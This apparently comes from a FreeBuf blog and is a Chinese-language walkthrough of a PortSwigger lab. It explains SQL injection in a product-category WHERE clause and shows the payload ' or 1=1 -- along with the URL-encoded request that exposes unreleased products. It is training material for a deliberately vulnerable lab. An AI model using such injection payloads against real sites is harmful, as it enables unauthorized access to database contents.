freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容
杳若 2023-08-10 20:38:57 612706

?突破WHERE限制的SQL子句,显示表内全部内容

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

实验前置必要知识点

一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。

例如当用户单击“礼品”类别时,其浏览器会请求 URL:

https://insecure-website.com/products?category=Gifts

这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:

SELECT * FROM products WHERE category = 'Gifts'

因此在黑盒测试中可以利用注释的方法尝试SQL注入

实验要求

此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。

渗透开始

  • 访问对应靶场界面

https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
  • 启动靶场

1. 站点分析

这是购物类型的网站

存在查看商品以及优化搜索的功能

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,日志中比较可疑的两处功能点

在控制台输入时间查询,确认时间是可查询的

console.log(new Date());
VM27:1 Tue Aug 08 2023 17:56:11 GMT+0800 (中国标准时间)

console.log(new Date());
VM31:1 Tue Aug 08 2023 17:56:12 GMT+0800 (中国标准时间)

3. 功能点测试

将对应的日志信息发送到重放模块,首先是productId=6

推测通过查询Id,系统会访问后端数据库提取Id为6的内容并回显到前端

# 例如从所有表中查询对应Id为6的内容并回显
SELECT * FROM products WHERE producId = 6 

尝试添加一个'使其应用错误响应,发现提示"Invalid product ID"

再次尝试发现似乎不行,因为查询的是数字,可能限定为整数型
也有可能页面的内容不需要改变,不存在SQL注入

4.寻找其他功能点

接下来测试优化标签的功能点

根据提示,似乎是这处

SELECT * FROM products WHERE category = 'Accessories' AND released = 1

可控区域在

SELECT * FROM products WHERE category = '{用户输入处}' AND released = 1

实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉WHERE的限制

首先尝试让SQL语句进行报错,通常我们可以尝试输入'

SELECT * FROM products WHERE category = ''' AND released = 1

很直观的发现服务器回显了500大概率是SQL语句报错产生

尝试构造Ture的语法并且注释掉released = 1首先闭合SQL语句,并且注释掉后面的内容

SELECT * FROM products WHERE category = '{' or 1=1 -- q}' AND released = 1
SELECT * FROM products WHERE category = '' or 1=1 -- q' AND released = 1

因为是在GET传参,所以空格需要进行编码成%20

GET /filter?category=Accessories'%20or%201=1%20--%20q HTTP/2
5.完成实验

这样总体的SQL语句就会变成只要是在products表中的内容都会显示

SELECT * FROM products WHERE True

发现确实将输入执行成了SQL注入,成功完成了实验

# 渗透测试 # 黑客 # 网络安全 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 杳若 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
从零开始成为Burp赏金猎人
杳若 LV.6
这家伙太懒了,还未填写个人描述!
  • 46 文章数
  • 28 关注者
记一个奇怪的万能密码
2024-01-24
OSCP系列靶场-Esay-Monitoring
2023-09-20
OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19
文章目录